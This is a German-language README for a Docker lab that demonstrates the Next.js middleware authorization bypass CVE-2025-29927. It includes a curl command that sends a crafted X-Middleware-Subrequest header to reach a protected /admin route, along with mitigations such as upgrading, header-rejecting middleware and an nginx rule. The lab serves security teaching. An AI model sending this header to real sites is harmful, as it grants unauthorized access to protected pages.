
Docker-basiertes Labor zur Erkundung und Reproduktion der Next.js CVE-2025-29927 Middleware-Autorisierungsumgehungs-Schwachstelle. Beinhaltet angreifbare App, Reproduktionsschritte und Abhilfestrategien für die sicherheitstechnische Ausbildung.
Dieses Repository enthält eine Docker-basierte Laborumgebung zur Erkundung und Demonstration der Next.js CVE-2025-29927-Sicherheitslücke in einer kontrollierten Umgebung.
⚠️ HINWEIS: Dieses Labor dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Setzen Sie es nicht dem öffentlichen Internet aus und verwenden Sie es nicht in der Produktion.
Stellen Sie sicher, dass Folgendes installiert ist:
Befolgen Sie diese Schritte, um das Labor zu klonen und auszuführen:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
Dies wird:
.
├── app/ # Hauptcode der Next.js-App
├── public/ # Statische Assets (Bilder usw.)
├── Dockerfile # Docker-Setup für die App
├── docker-compose.yml # Compose-Konfiguration
├── .env # Umgebungsvariablen (falls vorhanden)
├── README.md # Sie sind hier
⚠️ WARNUNG: Diese Dokumentation dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Stellen Sie die verwundbare App nicht in einer Produktionsumgebung bereit.
CVE-2025-29927 ist eine kritische Sicherheitslücke zur Umgehung der Autorisierung in der Next.js-Middleware. Sie erlaubt Angreifern, die middleware-basierte Authentifizierung zu umgehen und geschützte Routen zu erreichen, indem sie den X-Middleware-Subrequest-Header manipulieren.
Versuchen Sie, auf eine geschützte Route wie /admin ohne Authentifizierung zuzugreifen:
curl http://localhost:3000/admin
Erwartetes Verhalten: Der Zugriff wird verweigert oder auf eine nicht autorisierte Seite umgeleitet.
Anfälliges Verhalten: Der Zugriff wird ohne Authentifizierung gewährt.
X-Middleware-Subrequest-HeaderSenden Sie eine Anfrage mit dem X-Middleware-Subrequest-Header, um die Middleware-Prüfungen zu umgehen:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
Ergebnis: Die Middleware wird umgangen und der Zugriff auf die geschützte Route wird gewährt.
Aktualisieren Sie Next.js auf eine der folgenden Versionen, in denen die Sicherheitslücke behoben ist:
npm install next@latest
Verbessern Sie Ihre Middleware, um Anfragen ordnungsgemäß zu validieren und solche mit verdächtigen Headern abzulehnen:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
Wenn Sie einen Reverse-Proxy (z. B. Nginx) verwenden, konfigurieren Sie ihn so, dass der X-Middleware-Subrequest-Header aus eingehenden Anfragen entfernt wird:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
Diese VULNERABILITY.md-Datei bietet eine umfassende Anleitung zum Verständnis und zur Reproduktion der Sicherheitslücke CVE-2025-29927 in einer kontrollierten Umgebung. Sie enthält auch praktische Abhilfestrategien zur Sicherung Ihrer Next.js-Anwendungen gegen solche Angriffe.
Eine ausführliche Demonstration und weitere Einblicke in diese Sicherheitslücke finden Sie in der vollständigen Angriffsdemo von Techtalkpine im Blogbeitrag, der auch mit der Youtube-Live-Demo verlinkt ist: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Lassen Sie mich wissen, wenn Sie Hilfe bei einem bestimmten Teil dieses Setups oder weitere Erläuterungen zu den Abhilfeschritten benötigen.
Zum Stoppen und Entfernen der Container:
docker-compose down
Dieses Projekt ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Sie sind dafür verantwortlich, es in Übereinstimmung mit allen geltenden Gesetzen und ethischen Richtlinien zu verwenden. Der Autor haftet nicht für Missbrauch oder Schäden, die durch die Nutzung entstehen.